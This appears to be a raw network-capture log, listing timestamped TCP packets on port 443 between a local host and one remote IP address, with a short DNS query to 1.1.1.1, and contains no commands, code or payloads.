Jan 16, 2025 03:54:25.859390020 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859395981 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859426022 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859437943 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859458923 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859463930 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859492064 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859503031 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859527111 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859530926 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859569073 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859580040 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859601974 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859606981 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859633923 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859642982 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859667063 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859671116 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859698057 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859708071 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859734058 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859739065 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859771013 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859781981 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859806061 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859811068 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859831095 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859839916 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859864950 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859868050 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859898090 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859909058 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859930992 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859935045 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859962940 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859973907 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859997988 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860002041 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860027075 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860037088 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860063076 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860066891 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860091925 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860100985 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860130072 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860133886 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860158920 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860169888 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860198975 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860202074 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860224009 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860234976 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860255957 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860263109 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860297918 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860306025 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860320091 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860341072 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860363960 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860378027 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860430956 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860440969 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860451937 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860477924 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860506058 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860506058 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860522985 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860543966 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860548973 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860586882 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860598087 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860621929 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860626936 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860675097 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860681057 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860692978 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860732079 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860740900 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860750914 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860761881 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860793114 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860794067 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860831022 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860841990 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860867023 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860872984 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860892057 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860904932 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860929012 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860934019 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860963106 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.860974073 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.860995054 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861000061 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861025095 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861036062 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861061096 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861064911 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861090899 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861100912 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861119986 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861129999 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861155033 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861165047 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861185074 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861193895 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861233950 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861234903 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861248016 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861288071 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861311913 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861311913 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861326933 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861366987 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861385107 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861393929 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861406088 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861433983 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861440897 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861466885 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861479998 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861505032 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861510992 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861531973 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861541986 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861569881 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861573935 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861602068 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861613035 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861638069 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861643076 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861680984 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861687899 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861701012 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861709118 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861747980 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861754894 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861768007 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861795902 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861802101 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861816883 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861828089 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861855030 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861859083 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861890078 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861901999 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861924887 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861929893 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861954927 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.861964941 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861988068 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.861993074 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862024069 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862034082 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.862056017 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.862087965 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862104893 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.862123013 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862135887 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.862159967 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.862164021 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862185955 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862195969 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.862217903 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.862221956 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862248898 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862257957 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.862289906 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862313032 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.862812996 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889013052 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889184952 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889224052 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889347076 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889348984 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889349937 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889425039 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889467001 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889471054 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889491081 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889504910 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889532089 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889566898 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889614105 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889684916 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889718056 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889789104 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889822960 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889889002 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.889915943 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.889986038 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.890002966 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.890065908 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.890091896 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.890158892 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.890187979 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.890252113 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.890290976 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.890352964 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.890393019 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.890458107 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.890495062 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.890563011 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.901637077 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.918864965 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.918962955 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919035912 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919096947 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919162989 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919207096 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919219017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919239998 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919267893 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919271946 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919289112 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919301033 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919348001 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919358969 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919358969 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919378042 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919399977 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919405937 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919430017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919440031 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919465065 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919470072 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919497013 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919507980 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919532061 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919538021 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919574976 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919589043 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919596910 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919604063 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919641018 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919660091 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919663906 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919677973 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919712067 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919728041 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919753075 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919764996 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919787884 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919792891 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919819117 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919830084 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919851065 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919855118 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919878960 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919888973 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919908047 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919915915 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919960976 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.919966936 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.919981003 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.920011997 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.920037031 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.944535017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.976062059 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.976159096 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.976210117 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.976273060 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.976340055 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.976402044 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.976447105 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.976509094 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.976578951 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.976639032 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.976679087 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.976737976 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.976777077 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.976838112 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.976878881 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.976942062 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.976984024 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.977045059 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.977082014 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.977142096 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.977181911 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.977245092 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.977284908 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.977343082 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.977385998 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.977444887 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.977485895 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.977550983 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.977585077 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.977649927 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.977689981 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.977749109 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.005610943 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.005698919 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.005702019 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.005717039 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.005769968 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.006397009 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.006548882 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.006601095 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.006665945 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.006715059 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.006784916 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.006828070 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.006890059 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.006932020 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.006997108 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007023096 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007138014 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007163048 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007208109 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007268906 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007347107 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007348061 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007348061 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007352114 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007390022 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007440090 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007466078 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007498026 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007576942 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007600069 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007663965 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007699013 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007764101 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.007797003 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.007869959 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.052598000 CET	63217	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:54:26.056092978 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.058295012 CET	53	63217	1.1.1.1	192.168.2.4
Jan 16, 2025 03:54:26.058528900 CET	63217	53	192.168.2.4	1.1.1.1
Jan 16, 2025 03:54:26.062609911 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.062664032 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.062696934 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.062701941 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.062716961 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.062722921 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.062762022 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.062803984 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:26.062820911 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.062890053 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:26.062896013 CET	49743	443	192.168.2.4	39.103.20.17
